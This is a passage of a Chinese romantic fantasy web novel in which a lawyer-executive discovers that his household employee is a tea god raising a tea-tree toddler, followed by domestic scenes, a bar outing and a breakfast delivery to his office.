贺任沅看着茶宝,喜悦掺着点别的什么一同涌上来,他眼里忍不住溢出今晚第一丝笑意:“无性繁殖很好,保留你的优良性状,茶宝很可爱,像你。” 白清语得意地挑挑眉,茶树到了成熟期没有谈恋爱,当然会从本体抽出一个小芽变成下一代茶神。 深谙谈判技巧的贺任沅,再次迂回绕到第一个问题:“既然你是茶神,那一定对我后腰处的茶叶印记有头绪吧?” 白清语高深道:“你祖上肯定是某一代茶神流落在人间的子嗣。” 贺任沅:“……” 白清语:“我算是你叔祖吧。” 贺任沅:“……” 他道:“我爸妈身上没有这种标记。” 白清语:“因为他们没有掉下山崖觉醒血脉。” 贺任沅:“……” 肯定不是这样! 笨蛋逻辑自洽,无法反驳,他总不能让他爸妈也去掉一回吧。 ———————— 茶神在江家吃吃喝喝时,贺律师在思考套话技巧。 第32章 贺任沅提出第二个可能性:“我觉得标记不是因为血脉觉醒,我与凡人并无二致。更可能是你救了我,在我身上留了印记。” 白清语完全没有这个印象,他在百年之前就因为耗光神力处于休眠期,一直呆在神境,休眠期一醒来就忙着养茶宝,哪有时间救人:“不可能,我做好事我还能不知道吗?” 贺任沅提出自己身上的疑点,“医生说我从那么高的地上摔下来只受皮肉伤,脏器和骨骼完好无损,堪称医学奇迹。” 白清语:“说明少爷你天生好命,祖宗保佑,嗯,我是你叔祖,如果你硬要说是我救了你,也可以吧。” 贺任沅语塞:“不是保佑的这种救,我看见你了。” 白清语在床上跪起来,使自己在视线上高于贺任沅,抱着手臂,居高临下道:“你在质疑茶神的记忆吗?我两百多年的事情都记得清清楚楚的。” 贺任沅:“……” 白清语:“况且,我救了你,为什么要留下茶叶标记?你们人类做好事还要留名?” 贺任沅艰难辩解:“当律师做好事很难不留名。” 白清语:“我想不出我留名的动机。” 贺任沅也想不出,只能作罢。白清语一个半吊子茶神,却拥有唯一解释权,还不能质疑,简直就像律师遇到文盲法官,找不到第二个神仙当证人,只能白清语说什么就是什么。 白清语说服了贺任沅,像打赢官司一样高兴,他坐在自己的脚后跟上,拨了拨茶宝的头发,摸摸他有没有出汗。 贺任沅:“茶宝也伪装过吗?你们的头发不大一样。” 一长一短,一黛一黑。 白清语:“没有噢,他不会伪装,只有茶树和茶宝两种形态。” 为了保护幼崽的头发,白清语不准备告诉贺任沅茶叶的来源。 贺任沅想起自己曾经在白清语手机里看见的一大一小两棵茶树的照片,想起门前那颗被移栽的可爱小茶树,原来他没有被移走,茶宝一直都在他身边。 “能再让我看看那张茶树的照片吗?” “没有了。” “嗯?” “你不是给我工作机,然后我的手机一天没开机就开不了机了。” “没备份照片?” “怎么备份?” 贺任沅:“手机给我,我拿去修。” 白清语很是谨慎:“邓伯说了,出门在外,手机和身份证不能随便交出去。” 贺任沅:“……明天你就用这张脸出现吧,我帮你解释。头发最好伪装一下。” 白清语:“我懂,我要变成跟茶宝一样的黑色短发!”看看还有谁说他跟茶宝不像,太像了好么。 他迫不及待想一觉睡到明天,于是赶贺任沅走:“我要睡觉了。” 贺任沅只能从床上下来。 白清语送他到门口,才想起来什么,别别扭扭地问:“你是怎么认出来我的?我有什么破绽吗?” 贺任沅目光垂在他放在门把手上的手,“处处是破绽。” 白清语关上门,不肯说就不肯说,说什么“处处”,他哪有那么粗心? 白清语美滋滋地入睡,心底一丝被识破的忐忑都没有。 翌日,白小茶一睁眼,发现自己睡在爸爸的头发上,长长的青丝铺在床上,是茶宝最香甜的梦乡。 他在爸爸头发上打了个滚,像只在雪地里打滚的大熊猫幼崽。 白清语醒来,把头发变短变黑,洗漱完抱着小崽子下楼,刚走出房门,就被茶宝提醒“爸爸的脸还没有变噢”。 白清语:“以后我就这样跟宝宝出门。老板叔叔知道你是一个茶树宝宝了,但是其他人还不知道,不能露馅。” 白小茶点点头:“宝宝可以在老板叔叔面前摇奶茶了么?” 白清语闻言有些惭愧,他们跟贺任沅一起吃饭最频繁,茶宝总是被限制着,如今摊开了说,风险获益并存,好处就是茶宝以后更自在,在老板叔叔面前不用伪装。 一楼。 贺任沅早早起床,召开了一个早会。与会的全体家政人员,昨晚收到通知都必须出席,除了白清语父子。 晨会,只听说过老板在公司开,据管家说,开会的气氛一般都很严肃。 贺任沅面前放着一沓A4纸文件,大家战战兢兢地坐着,文件上该不会是大家的考勤表和裁员名单?可是他们好像没有考勤机。 贺任沅:“就一件事,耽误大家五分钟。” 贺任沅简要编了两句白清语易容的缘故和手段,以及解除易容是因为对大家的信任,要求所有人见到白清语不许打听隐私,好奇心太盛的会被开除。 白清语那么笨,这么多人一轮轮问下来,八成会露馅。 他只能从源头掐死这种可能。 下面的人心情各异。 [就这?耽误我给茶宝蒸小猪包子了。] [原来白清语带妆上班,少爷说他怕被人骚扰所以扮丑,现在是因为信任大家,把大家当家人,所以卸下伪装。呜呜我也把你们当家人但我不敢说。] [有多好看?少爷这么郑重其事,岂不是美若天仙?] [又磕到了。] [更好磕了。] [难怪少爷最近一直推脱安排小少爷跟爷爷奶奶见面,原来是想等白清语恢复容貌。] “散会。”贺任沅道了声,拿起文件一边看一边等早餐。 大家正要散开,白清语抱着白小茶从楼上下来。 老板都把气氛烘托到这儿了,于是大家齐齐扭头一看—— 屋里顿时传来此起彼伏的吸气声,手里的东西噼里啪啦掉在地上。 他们看看白清语,再看看淡定的少爷,不是,少爷你形容得这么谦虚?什么易容?分明是天仙下凡! 美若天仙原来是这个这么写实的成语。 大家或多或少都曾觉得白小茶是中了基因彩票,才这么可爱,原来不是偶然,是必然,有这么好看的爹,茶宝这么可爱很合理。 “清、清语啊。”刘姐尝试地叫了一句。 白清语:“刘姐早上好。” 白小茶抱着爸爸的脖子:“刘奶奶好,这是我爸爸噢!” “真是清语!声音一样,除了脸都一样!”大家纷纷围上去,碍于贺任沅刚刚定的规矩,都没有问,一个劲地感慨“你易容是对的,不然等不到遇上贺区长就被人骗了!” 只有管家愣在原地,心里微微破防——这不合理啊! 茶宝一看就是白清语亲生的,眼睛和皮肤的颜色都一样一样的!如果茶宝只有一个爹,让他在贺任沅和白清语之间选,他要选白清语,因为茶宝身上那股说不清道不明的气质明显偏向白清语。 对不起董事长,他要倒戈了。茶宝跟少爷长得像应该只是人群中的巧合。 就说少爷生不出这么软萌的茶宝,而且,依据茶宝的年纪,少爷在那段时间根本不可能跟谁发生关系。 管家顿时汗如雨下,想起自己跟董事长打的七成包票,是他误导了董事长。 他忐忑地脱离人群,站到贺任沅身边,准备坦白这个乌龙,免得董事长来了收不了场。 下属捅娄子,只能上司解决。 管家沉痛道:“少爷,我办错了一件事。” 贺任沅正在看文件,不大在意道:“什么事?” 管家:“因为我的一些操作,导致董事长以为茶宝是亲孙子,还去做了亲子鉴定。” 下属捅娄子,贺任沅向来只看结果,不听辩解,管家识趣地不为自己开脱。 贺任沅心脏猛地跳动起来,看了眼那边被围住的白清语,喉结滚动:“结果出来了吗?” 管家:“出来了,只有70%的基因相似度,应该是样本发生污染。” 贺任沅反应一秒,低头继续看文件,“哦。” 茶宝才一岁半,能跟他有什么关系。 管家随着他的视线一看,居然不是《**产品市场报告》,而是《茶树的无性繁殖技术》。 少爷准备种田了? “但是老爷坚持认为茶宝是他孙子,也懒得做第二次鉴定了。” 贺任沅抬手敲了下桌子,道:“这锅我背着,让他误解吧。” 管家:? 好好孝。 白清语被各种夸和茶宝一看就是亲父子,和茶宝一起笑得合不拢嘴。容貌虽然美得有些不接地气,但父子俩的性子太好,一会儿的功夫,大家便和从前一样说说笑笑。 他抱着茶宝坐在贺任沅身边,小声道:“谢谢少爷。” 茶宝跟着说:“谢谢老板叔叔!” 贺任沅:“嗯。” 早饭端上来了,燕麦牛奶葡萄干蔓越莓香蕉片粥,这么复杂肯定是茶宝的。 白小茶握着勺子喝粥,每一大勺都会让碗壁上的粥际线下降半公分。 白清语撕着花卷配豆浆,问其他人:“你们怎么不坐在这吃?” 贺任沅现在对跟大家一起吃饭这件事睁一眼闭一眼,为了看茶宝的吃播,大家都努力克服对老板的恐惧,端碗上桌。 今天怎么倒退了? “不不不,我喜欢蹲在门口吃。”看门叔叔第一个退出,白清语换了脸,这一桌颜值太高,他长得丑,不好意思上桌。 贺任沅盯着白清语的手,结合《茶叶无性繁殖技术》,试图用科学去解释神学——总不能什么都凭白清语一言堂。 扦插,嫁接,压条,分株,组织培养。 白清语生茶宝,是以上的哪一种方式呢?首先排除嫁接和组织培养。 贺任沅昨晚睡不着,看了很多视频,扦插要从大茶树上削一根小树枝插在土里,压条要在靠近根部的树枝削一圈树皮下来,包裹上泥土等待生根,然后切断重植。 这些方式,无一不是让白清语先“受伤”。 变成茶树会有痛觉吗? 贺任沅忽然心里发堵,问白清语:“你是怎么生茶宝的?” 白清语:“我不是说了,从树根上……” 贺任沅:“我是问茶宝怎么从树根上长出来的,是不是你受了伤?有了破口?怎么受伤的?” 白清语糊弄:“茶神自然有茶神的办法。” 贺任沅:“什么办法?” 白清语从没思考过这个问题,灵光一闪道:“树上长茶籽,掉到地上不就自然发芽了。” 肯定是他休眠期开花长茶籽了。 贺任沅咬牙:“那叫有性繁殖。” 等等……他低头看着纸上那一行刺眼的[无性繁殖的优点是继承母树的全部基因,遗传性状保持一致]。 茶宝如果是无性系,发色应该和白清语保持一致才对。 贺任沅立刻质疑茶神的权威。 “咳咳……”白清语差点被馒头噎住。 那是因为白小茶人类食物吃多了啊,从一出生开始就吃,一开始不能吃得太复杂,只能喝水,长大一些后,可以吃植物制品,比如米糊、花生浆、豆浆。所以白小茶小时候不喝奶,只喝水和米糊。 动物制品,肉蛋奶不能吃,会不消化,一周岁后才能吃,一岁后就天天吃,黑豆酱油蚝油芝麻,头发当然会黑啊。 贺任沅心里酸得厉害,理智告诉他不应该再追问了,茶树是异株授粉,茶宝如果由茶籽发芽,应该有别人的基因。 这个“别人”,是树,是人,还是神? 白清语捏了捏手里的馒头,又捏了捏茶宝的脸蛋,小动作一堆来掩盖自己的思考。 人类常说,出门在外,身份是自己给的。 自己太过老实,拖茶宝的后腿,想给茶宝塑造一个不讲道理的舅舅也以失败告终。 干脆说茶宝有个非常厉害的母神好了!这样贺任沅就不敢小瞧他了。 白清语咽下一口馒头,道:“是啊,茶宝还有一个家长。” 他看着贺任沅:“他超级厉害,身高不输于你,懂的法律不输于你,坏脾气也不输于你,所以我跟他过不下去。” “不过,他隔段时间就会来看茶宝的,要是茶宝被人欺负,他会十倍百倍地还回去。” 白清语补充:“偶尔也会替我出头。” 不知为何这番话他说得真情实感,好像真的有那么个人。 贺任沅:“……”光是一个茶宝的来由,白清语就能一天改口三次,他信了才有鬼。 他默然捏着《茶树无性繁殖技术》出门,到了门口大力地卷了一卷,扔进垃圾桶。 他是脑残了才用科学去验证神学。 做人最重要的是别给自己找不痛快。 石头里都能蹦出来猴子,茶宝只有一个爸爸怎么了? ———————— 不输于=等于=本人。 注:繁殖技术来源于资料。 第33章 贺任沅正准备去上班,小区门卫忽然用网带提着一兜东西过来。 “贺少,这是白清语买的鸭子。” 两只鸭子适时叫了一声,活力很足。 白清语和白小茶听见声音都跑出来,“鸭子到了,谢谢刘哥帮我拿进来。” “不客气,我回去站岗了。”门卫应完一声,刚要抬步,猛回头去看白清语,明明是一样的声音,怎么换了一个人? 贺任沅踏前一步,跟门卫讲清楚原委,让他们把白清语的脸重新录到系统里。 有贺任沅在,白清语也不用操心解释,有律师当代理人的感觉太棒了,怪不得他和邓伯看的电视剧里,大老板走哪都带着律师,尤其是被警察抓走后,不见到律师不肯开口,因为自己开口容易露馅。 白清语和茶宝蹲在地上看鸭子,挠了挠脸蛋,他可以不可以反向雇佣少爷呢? 贺任沅送走看痴了的门卫,磨了磨后槽牙:“鸭子哪来的?” 白清语:“网购的。” 贺任沅强行心平气和:“这也行?” 白清语:“同城网购,前主人开车送过来的。” 前主人是一个白领,回乡下后被亲妈后备箱塞了两只母鸭子,让她带回城里杀了吃,母鸭子下火。白领女士不敢杀生,不知道怎么处理,挂了个同城自取的链接,被白清语刷到了。 白清语咨询得知两只鸭还能下蛋,果断低价买入。 “非常便宜!一只三十块还送货上门。” 茶神买的东西都很有性价比。 贺任沅:“5只母鸡还不够你——” 白小茶道:“鸭子下蛋给老板叔叔吃!” 白清语:“嗯,鸡蛋太小了,茶宝吃鸡蛋,少爷吃鸭蛋。” 贺任沅熄火:“专门给我买的?” 白清语:“对啊,其实我想买鹅,鹅蛋更大更有营养,适合少爷吃。” 他觉得贺任沅每次吃鸡蛋都不够塞牙缝的,一直琢磨想给贺任沅换更大的蛋,但目前还没找到卖二手鹅的,如果下次他带茶宝回老家,就给少爷带两只鹅回来。 白清语从保姆升职为鸡舍管理员,月薪三万只需喂鸡,贺家分工明确,保姆的活儿不用他干,每天都很清闲,唯有扩大养殖规模才能对得起老板发的工资。 白小茶吃过鹅蛋,比划道:“鹅蛋有这么——大,老板叔叔吃一个就饱饱的。” 白清语和白小茶明显不是临场发挥,这对父子私下里居然还为他操心过,琢磨过,并实践。并不是他一头热想留住白清语和白小茶,情感的双向流动让贺任沅心口一阵发烫。 贺任沅被廉价的六十块打动,抿了抿唇:“鸭蛋就够了。” 他主动提起地上的网袋,拎到后院的鸡舍里,松开扎口,将鸭子放出来。 他拍了拍手,想换身衣服再出门,目光一抬,看见花园里的几棵大茶树和小茶树。 “白清语,你对这几棵树有印象吗?” 白清语:“有啊,我给它采过茶。” 贺任沅放弃在白清语的脑子里寻找线索,扫过同样被白清语照顾得很好的小茶树时,眉头一皱,白清语这么会照顾茶树,为什么上次茶宝的树苗缺了好大一茬叶子? “茶宝的叶子是怎么回事?我上次看好像少了一茬。” 白清语抿唇,告诉贺任沅不就等于告诉他茶神的头发是茶叶,贺任沅要是想薅光怎么办? 贺任沅焦急:“是因为上次茶宝被虫子咬了?” 他的别墅必须好好管理土地了,把土都挖了换上山里的土。 贺任沅眼神里的关切真真实实,对茶宝的疼爱毋庸置疑,应该不至于干出薅头发的事?白清语坦诚道:“没事,剪头发剪多了。” 茶神的头发等于叶子? 贺任沅脸色一沉:“谁剪的?” 白清语立刻甩锅:“不是我。” 贺任沅:“是外面的理发师?” 南城有很多虚有其表的理发店,技术没两下子,尽会忽悠办卡,遇到白清语他数次想重操旧业,这次是为了把无良理发师告上法庭。茶宝那么乖,剪头发定然很配合,这还能剪瘸了?白清语不会还办卡了吧? 白清语:“茶宝,告诉叔叔为什么自己剪头发。” 白小茶忙着抓玉米粒喂鸡,语速很快地说:“因为老板叔叔喜欢茶宝宝,不喜欢咖啡豆宝宝,我要把所有头发都送给老板叔叔!” 白清语:“我没看住,被他拿到了剪刀。哦,就是那天的茶叶鸡,分量很多吧。” 贺任沅几分钟没说话,缓了缓,道:“那现在长好了吗?” “没长回去。”白清语看着贺任沅,“你好好的怎么眼圈红了?” “进沙子了。”贺任沅抬手捂了下眼睛,扭过头。 白清语:“我又剪短了一次,换成黄山毛峰给你喝了。” 贺任沅:“……”他想起自己第一次见到白清语强行拦着他要茶叶。 那一回茶宝的头发不是剪的,是生生拔下来的? 白清语的护崽行为,自己却解读成故意拿捏、饥饿营销。原来恶劣到罄竹难书的是他自己。 白清语在这种情况下,还愿意相信自己,是因为茶神的大方宽容。 贺任沅蹲下来,摸了摸茶宝的脑袋,掌心下的头发柔软不扎人,“叔叔以后都不喝咖啡,茶宝不要为了叔叔剪头发,好不好?” “好噢叔叔。”白小茶抓出一把玉米粒撒给小鸡。 母鸡吃玉米下蛋,宝宝吃鸡蛋长头发,叔叔喝茶叶赚钱,钱给爸爸发工资! 食物链很完整。 贺任沅对白清语道:“抱歉,关于茶叶一事,我对你有很多狭隘的误解。” 他能做的,便是努力赚钱,让白清语和茶宝在人间也能过上神仙般的生活,不然,他何谈有能力养两个茶神? 贺任沅衣服也不换了,洁癖影响上班的速度。 茶宝看见贺任沅快速走远的背影:“老板叔叔走得好快噢!” 白清语:“因为老板上班要迟到了。” 蹲在地上的白小茶双手一按地板,蹭的站起来:“宝宝上学也要迟到了!” 白清语:“不要对标少爷的上班时间啊宝宝。” 奈何小崽子就是如此爱上学,白清语只好七点半就送他出门上学,然后顶着一张漂亮的脸,在幼儿园门口坐了一小时。 “茶宝,你又换新的爸爸了吗?” “不是,还是昨天的爸爸,变成黑头发了。” “叔叔,我想看看你的绿头发。” 白清语一下子成为幼崽们的焦点中心,一个个好奇地围绕着他,热情天真,又不会像大人一样一言不合就举起手机拍照。 白清语很有耐心地回答幼崽们的问题,“我是茶宝的爸爸。” “上学不能染绿头发。” “没有绿头发了。” 小孩子容易糊弄,不需要律师就能蒙混过关。 白清语答着答着,发现小孩子围着自己,而他们的爷爷奶奶在一旁看短视频? 不行哦,他不负责看孩子,不能让这些家长掉以轻心。 白清语抱着崽子站起来,跟另一位抱孩子的家长站在一起。 对方怀里的小女孩偏瘦,在幼儿园肯定吃不回本。 他和家长一聊,才知道对方三岁,叫林师师,跟茶宝还是同班。 林妈妈发愁地说:“你家孩子是不是上课也不听课,师师说她不是唯一一个不想上课的,茶宝也上课睡觉。” 白清语一直知道白小茶课堂参与度比较低,没想到茶宝这么典型:“茶宝比较特殊,医生说他要多睡觉。” 林妈妈:“我这周末给孩子挂了一个学习困难门诊,要一起吗?” 白清语抱紧茶宝,两岁,挂学习困难门诊? “林妈妈,你是不是太焦虑了?”白清语劝道,“虽然茶宝现在慢一拍,但我相信他长大了会很聪明。” “你家宝宝也很聪明,你看她上课还会观察别人,知道不止她一个人睡觉。” 林妈妈看看女儿,再看看茶宝,好像得到了一点安慰。 白清语抿唇,宝宝你怎么七点半就想上学,结果是全班学习困难的典型。 你老板叔叔七点半上班,是真的去上班啊。 学其形不学其神。 “开门了,宝宝你进去干饭吧。” 白清语把茶宝送进幼儿园,回家时正好碰见管家在发放工作服。 三个季节各两款,拖到现在才完工,上次贺任沅给白清语带的“睡衣”,是按照他的身材打样的,所以能提前拿到。 衣服质量很好,大家拿到手后都美滋滋的试穿。 “大家穿到晚上再洗,让少爷看看我们的专业度。” 刘姐一号召,全体响应。白清语见大家穿的是春季的西式马甲款,便也换上。 白清语第一次穿西服,马甲是修身的,腰掐得正好,里面是白衬衫,很正式的一套,估计在家里宴请客人时才用得上。 他小心地不弄脏袖子,去接茶宝时还换了一套常服,回来又换上。 五点半,大家都在家里翘首以盼贺少爷回家—— 贺任沅竟然久违地加班了。 这跟全校穿齐了校服结果教育局领导没来检查有什么区别? “清语,你衣服睡觉之前不要换,让少爷看看。”刘姐有些困了,“你和茶宝最好看,代表我们转达对少爷的谢意。” 哑巴姐妹对视一眼,猛点头,双手合十拜托白清语。 [一定要给少爷看看啊!] 白清语:“好的。” 八点半,茶宝睡着,贺任沅没回。 九点半,白清语不等了,拿了睡衣准备洗澡,房门突然被敲响。 贺少爷回来了?! 白清语连忙上前打开门,果然是贺任沅,便把门打得更开一些,“少爷,这是新的工作服,大家都喜欢,让我谢谢你。” “不客气。”贺任沅迎面被矜贵优雅的大美人冲击,猛地侧身,看着对面的白墙,将一袋东西递过来,“给你。” “什么?”白清语接过来,打开一看,大约是十来条内裤。 “洗过了,干洗的。”贺任沅清了清嗓子,“不要在网上买内裤。” 白清语:“你怎么知道我的尺码?” 贺任沅:“目测。” 白清语:“要不你等等,我试试,不能穿还得退。” 贺任沅:“能穿……” 他话还没说完,白清语就钻进浴室,去试穿了。 贺任沅不敢踏进门,背靠在门外的墙上等待。 然而某个员工并没有老板在等他回复的意识,顺手就把澡洗了再穿新内裤。 浴室里随着水声作响,隐约有茶香飘来。 茶神身份过了明路,白清语就不掩盖气息了,本来他防着的也只有嗅觉味觉太逆天的贺任沅,其他人就算闻到了也只会往香水上联想。 贺任沅站直了一些,他知道楼上的泳池怎么融进茶味了。 白清语洗好澡,换了睡衣,黛色长发铺在后背,沾染了水的温热,但没怎么湿,仍然十分飘逸。 白清语从浴室出来,下意识探头往里面看——按照经验,贺任沅已经进屋了。 屋里只有茶宝在睡觉。 门外有一个人影。 白清语走出去,站在贺任沅面前,非常郑重地道谢:“谢谢少爷,很合适,是我穿过最舒服的内裤。” “合适就好。”贺任沅哑着嗓子。 被温水淋过的茶神,比下雨天更容易激发茶香,一靠近,细腻甘甜、柔厚绝伦的大红袍气息缠着贺任沅的鼻尖,是他梦寐以求的、灵魂深处的念想。 穿睡衣的茶神仿佛唾手可得,越看越令人心驰神往。 贺任沅强迫自己正视白清语,然而很快败下阵来——他的教养、他的品格,在这一眼里崩塌离析。 贺任沅脚步仓促:“我想起公司还有事,得再去加班。” 他现在最重要的是努力给茶神提供优渥的生活。 戳破了白清语的伪装,竟还有副作用,他需要一点时间冷却、脱敏,达到对白清语的容貌习以为常。 在这之前,他不能再接触白清语,哪怕看一眼。 白清语搓搓头发,好忙的老板,所以他回来干嘛?为了送内裤吗? 接下来两天,贺任沅一直在公司加班,仿佛回到了白清语出现之前的日子。 全体家政包括管家都很纳闷,白清语很好看,茶宝很可爱,但少爷为什么不回家了? ———————— 被老婆美到不敢回家。 不要逃避,逃避可耻() 第34章 舒贺大楼。 总裁办公室。 秘书走进来,专业地问:“贺总,今晚也加班吗?” 贺任沅点头,道:“你有事就先下班吧。” “好的。”秘书欢快地应答一声,执行最后一个任务,“您晚饭吃什么,让食堂做好送过来。” 贺任沅对一个人吃食堂兴趣不大,暂别两天,他突然就怀念家里的餐桌,“不吃了。” 这时,手机一震,贺任沅立马拿起来,有人关心他吃晚饭,但发信人是他的一个发小,约他去酒吧喝两杯。 贺任沅忙的时候甚少答应此类要求,但此刻他需要一些和茶叶相反的物质——酒精。 在公司睡的这两天,晚上失眠,白天又不敢喝茶,苦不堪言。 “找一个安静的酒吧。” 贺任沅让司机开车送他过去,挥挥手让司机下班。 他的发小祝一擎,眼巴巴守着,看见贺任沅就蹿了出来:“哥、哥!我今天签合同又被人坑了!” 贺任沅道:“损失多少?” 祝一擎:“五十万。” 贺任沅:“当买个教训了。” 祝一擎:“嗐,我买的教训可太多了,就是每次小打小闹,不好意思请你出山。噢,我忘了,现在多少钱都请不动你了。” 因为100元跟杂技团老板交涉、想给白清语买内裤的商家发律师函、想把给茶宝剪头发的理发店告上法庭的贺大律师,从容不迫地点头:“嗯,下次带你自己的法务。” 祝一擎撇了撇嘴:“你也知道我爸公司的法务,脸色跟你一样臭,脾气跟你一样拽,嗐,带他出去谈我的业务,不是等着挨嘲讽吗?” 贺任沅懒得提醒他除了首席法务,一个集团下面还有许多小法务:“……那你老叫我干嘛?” 祝一擎:“那不是对你的死人脸有免疫力了吗。” 贺任沅心思一动:“真的能产生免疫力?” 祝一擎:“当然啦,我都跟你认识二十年了,你也就这三年没啥好脸色,我用一年就习惯了。” 贺任沅握了握拳头,一年,时间长得他想对空气挥拳。 当然,他比祝一擎有自制力和调节能力,这个时间一定能缩短。 祝一擎眼神一晃,就在酒吧里找到一个幽静的卡座,移步过去坐下,哗啦点了一排酒:“你不帮兄弟,兄弟我交学费了,今天你请。” “听说你前几天都准时下班回家吃饭,偶尔还提前下班,怎么,家里有漂亮嫂子了?” 贺任沅先抿了一口柠檬水,闻言淡淡道:“也就还好。” 看,他已经获得了部分免疫,这个措辞充分说明他现在提起白清语这个人,心里的波动不大,很快就会从语言上转化为认知上面,将“白清语长得也就还好”刻烟吸肺。 “噗——”祝一擎差点喷了出来,“不是,你真有老婆啊?” 贺任沅一愣,这才反应过来,心跳如同坐过山车一样狠狠跳动了下:“没有。” 他没有。 祝一擎:“没有你瞎应个什么劲。” 贺任沅端起一杯威士忌灌了一口,酒液入喉,一股泥煤味,没茶好喝。 祝一擎每每亏钱都要找贺任沅喝酒,但大多数时候都是他带一瓶酒去贺任沅公司自斟自饮,仿佛这样就输入了一些法律知识。 贺任沅每次都很无语地说:法律不靠酒桌传播。 所以他都不喝。 祝一擎刚疑惑贺任沅这次怎么不保持清醒了,隔壁桌突然坐下来两小孩,看年龄顶多是初中生,不知道怎么混进来的。 其中一个乖学生模样的,一坐下就大发牢骚:“我讨厌死张叔了!” “怎么了,他不是一直对你很好?” “我今天才知道,他对我好,是因为想泡我爸爸!” “呃……” 贺任沅坐在隔壁无端被人踢了一脚,神色僵硬。 他只想泡茶,没有想泡茶宝的爸爸。 祝一擎:“卧槽兄弟你喝这么猛啊?” 贺任沅一点都不想茶宝讨厌他。 祝一擎:“别喝闷酒,先吃点花生米吧。” 酒吧侍者过来,在隔壁桌放下两杯长岛冰茶和几杯混在一起的什么。 那个乖乖女吸了一口,皱了皱眉,继续骂:“知人知面不知心,他潜伏了八年才暴露!虽然我爸也不是我亲爸……” 贺任沅站起来,祝一擎抬头:“你干嘛?” 没干嘛,隔壁说话他不爱听。 他趁那个侍者还没离开,拦住他,冷着脸道:“法律禁止向未成年兜售酒类产品,别说你看不出来她俩未成年。” 服务员急着搞业绩,没想到有人多管闲事:“我没看出来。” 贺任沅:“那找警察问问。” 警察一来,闹大了就是停业整顿,服务员嘟囔道:“我马上劝离,酒都点了。” 贺任沅:“我买单。” 服务员一喜,当即义正词严地去劝说两个小屁孩,让她俩找个奶茶店继续聊:“单子不用买了。” 两学生只好站起来,磨磨蹭蹭离开,还恋恋不舍吸了一口酒。 贺任沅从墙上一面镜子里看见,酒吧门口进来两个神色焦急的男人,看见孩子后松了一口气。 女生别扭了一下,看见爸爸急红了眼,也就跟着回家了。 服务员把隔壁桌没动过的酒端过来,祝一擎立马挥手让倒掉,他兄弟有洁癖的。 贺任沅撇了一眼:“来一份。” “别了!”祝一擎真心实意道,“贺律师你还是喝茶吧。” 茶? 贺任沅按了按额头,他答应茶宝以后不喝咖啡只喝茶的。 酒精?酒精算不上咖啡,能喝。 酒是由谷物或者水果发酵而来的,不能直接由单一果实磨制,因此只有高粱宝宝、葡萄宝宝,没有酒宝宝。 所以,就算茶宝的对手扩充到饮料界,酒还是能喝。 贺任沅盯着澄清的酒液,头脑清晰而冷静地分析。 祝一擎:“我怎么觉得你醉了?” 贺任沅:“没醉,现在签合同也不会被坑五十万。” 祝一擎:“……” 从哪一方面来看,这酒他都不想喝了,他赶紧站起来,结账,拉着贺任沅出去,出门一吹冷风,才反应过来,操,说好的请客呢,贺任沅你是不是故意装醉。 “打个车送你回家吧。” 贺任沅站得笔直,喝酒没有上脸,摄入量也在他控制之内。西装外套沾了酒吧里混合的酒气,他本想扔掉,忽然想起白清语从垃圾桶里给他捡起来洗干净的那件外套,最终还是把外套老实挂在手臂上。 他现在要养两个茶神,要勤俭持家。 现在去公司睡觉,晚上应该能睡着吧? * 白小茶吃晚饭时没有看见老板叔叔,问白清语:“老板叔叔呢?” 白清语:“老板叔叔在加班。” 肯定是之前处理他的事,耽误了贺任沅的工作导致现在要补班。 白清语心里有点愧疚,他能做点什么?要不要杀一只鸡给贺任沅补一补? 白小茶:“老板叔叔加班吃什么?” 白清语:“吃食堂里的饭。” 管家趁机道:“食堂饭菜不好吃,茶宝可以跟爸爸一起给老板叔叔送早饭,爷爷给你派车。” 白清语微微蹙眉,食堂挺好吃的啊,他吃过的。 白小茶:“好噢!” 白清语想了想,反正白小茶七点就能醒,与其早早上学,不如先给少爷送早饭,再给茶宝去幼儿园。 他答应道:“好啊。” 翌日一早,要给老板叔叔送早饭,茶宝六点就爬起来,在楼下亲自挑选食物。 他脱掉鞋子站在椅子上,一手撑着桌面,一手指菜。 “爷爷,这个要一点,老板叔叔喜欢。” “爷爷,这个也要一点,老板叔叔喜欢。” 管家从满眼欣慰,到面露难色,只用了三分钟。这大杂烩在路上再晃一晃,大清早的少爷看见真的能吃下去吗? 但是他又不好让小少爷克制一点,因为小少爷的一点一滴都是对大少的孝心。 管家灵机一动,把少爷给茶宝买的迷你小碟子拿过来,有配专门的食盒,一层好多格子,一个格子放一个小碟子,不会晃动。 茶宝最后亲自抓了一个大馒头,盖在上面:“给老板叔叔吃。” 白清语换制服晚了一些,他是以家政身份去送饭的,这样一穿就很专业。 管家把三层食盒18种菜品合上盖子,白清语第一次送饭,菜品丰盛是他这个管家该做的。 这么多,足够三个人在办公室吃了。 六点半,管家就催促白清语出门,“晚些就要堵车了。” 为了给少爷一个惊喜,他没提前说,晚些怕贺任沅吃饱了。 茶宝捏着一个大馒头,被抱进专车里,扣在儿童安全座椅里:“爸爸,带牛奶了吗?” 在叔叔面前展示宝宝摇奶茶的本领! “有。”白清语脖子上挂了两个大肚杯,一个是牛奶,一个是茶水。 贺任沅好像更喜欢母树大红袍,那就泡一壶给他尝尝吧。 早上七点的舒贺大楼,夜里某几层或许灯火通明,但此刻非常冷清。 白清语用管家给的密码,畅通无阻地上了总裁办,按照管家的指引,找到贺任沅休息的办公室。 按密码之前,茶神礼貌地敲门。 没人。 还没醒? 白清语只能自己按密码进去,里头十分空旷,一张办公桌,一排书柜,一排茶叶柜,还有一道门通向休息室。 白清语站在门口,听见淅淅沥沥的水声,原来醒了在洗澡。 他把食盒放在桌上,抱着茶宝坐在沙发上等。 五分钟、十分钟过后,贺任沅还没出来。男生早上冲凉不是很快吗? 白清语派茶宝去叫人。 白小茶对着门缝喊:“早上好噢,老板叔叔。” “老板叔叔,吃饭了!” 里面似乎传来花洒掉在地上的声音,白清语贴心道:“也不用这么急着吃饭。” 他把白小茶拎回沙发上:“我们不在门口等,这样老板叔叔会着急。” 茶宝在爸爸身上蹭蹭脸蛋,“好噢。” 过了一会儿,贺任沅开门出来,穿着浴袍,头发上都是水,一副清醒了但没完全清醒的样子。 贺任沅目光几经回避,最终还是败下阵来,都到他的地盘了,总不能回避得太明显,显得他好像不欢迎他们。他看着出现在他办公室的一大一小,昨晚喝酒还能喝出幻觉了? 白清语有这么自觉送饭? “你擦一擦头发,吃饭了。” 白清语弯腰把食盒打开,三层,一小碟一小碟,全部拿出来放在桌上,整齐排列。 排完之后,他忽然有点沉默——好像祭茶神时的贡品啊。 贺任沅也沉默了,他按了按额头,是他喝假酒了?他总觉得这种场面——白清语给他带贡品,很眼熟。 